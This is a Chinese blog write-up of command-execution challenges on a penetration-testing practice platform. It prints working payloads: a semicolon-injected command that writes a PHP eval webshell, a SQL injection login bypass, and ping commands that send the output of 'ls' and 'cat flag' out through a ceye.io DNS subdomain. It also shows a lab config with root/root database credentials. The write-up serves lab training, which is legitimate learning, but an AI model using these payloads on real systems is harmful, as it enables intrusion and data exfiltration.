安鸾渗透实战平台-命令执行系列

简单的回顾一下今天刷的命令执行题目

---

目录

PHP代码练习

webshell&中国菜刀

命令执行01

命令执行02

总结

---

 

PHP代码练习

直接给一个编辑器可以命令执行，那么直接用php的命令执行函数system，

<?php system('ls /');?>

cat命令打开

webshell&中国菜刀

题目提示在数据库里

直接用蚁剑连接

进去之后发现一个 配置文件

<?php
$servername = "mysql";
$username = "root";
$password = "root";
 
// 创建连接
$conn = new mysqli($servername, $username, $password);
// 检测连接
if ($conn->connect_error) {
    die("连接失败: " . $conn->connect_error);
} 
 
// 创建数据库
$sql = "CREATE DATABASE test123";
if ($conn->query($sql) === TRUE) {
    echo "数据库创建成功====>>>";
} else {
    echo "Error creating database: " . $conn->error;
}
 
$conn->close();

header("location:tips.txt");
?>

 有数据库的账号和密码

蚁剑连接 （点击数据操作）

数据库地址填mysql 后面试了不大写也行。

找到flag

命令执行01

点击那个图片下载成这样。。

 在这个输入框利用 ； 拼接命令执行语句

backup.tar.gz;echo '<?php @eval($_POST["123"]); ?>' >xxx.php

 

可以访问到xxx.php

 蚁剑连接即可

命令执行02

登陆框 存在注入 用万能语句登陆

admin' or 1=1#

 注意不能用 1' or 1=1# 怀疑题目做了一些修改 这样以admin身份登陆

 后面需要用到dnslog 或者ceye.io 获取命令执行回显

进入到这个界面

同样是利用 ； 拼接命令执行语句

注意反引号 ----linux中反引号的作用（` `）-------获取执行命令的结果

localhost;ping -c 1 `ls /`.xxxxxx.ceye.io

 上传后点击黄色的检测按钮

 咋突然出现这么多flag？

可能是平台是共有的把 ，有人可能点击了我的语句。

但是ls今天试了一下回显不出文件 所以用不了上面的语句可以用

localhost;ping -c `cat flag /`.xxxxxi.ceye.io

 这样得到flag

 

总结

其实题目难度不大，但是可以点积累经验，还是有不小收获的

另外个人的确也踩了不少坑，不过为了篇幅就没过多叙述，再各个命令执行题目也尝试了不同解法，只不过没啥技术性的突破。还是按照前人的write up来。

zh的博客_漏了个大洞_CSDN博客-靶场练习笔记,漏洞复现,学习笔记领域博主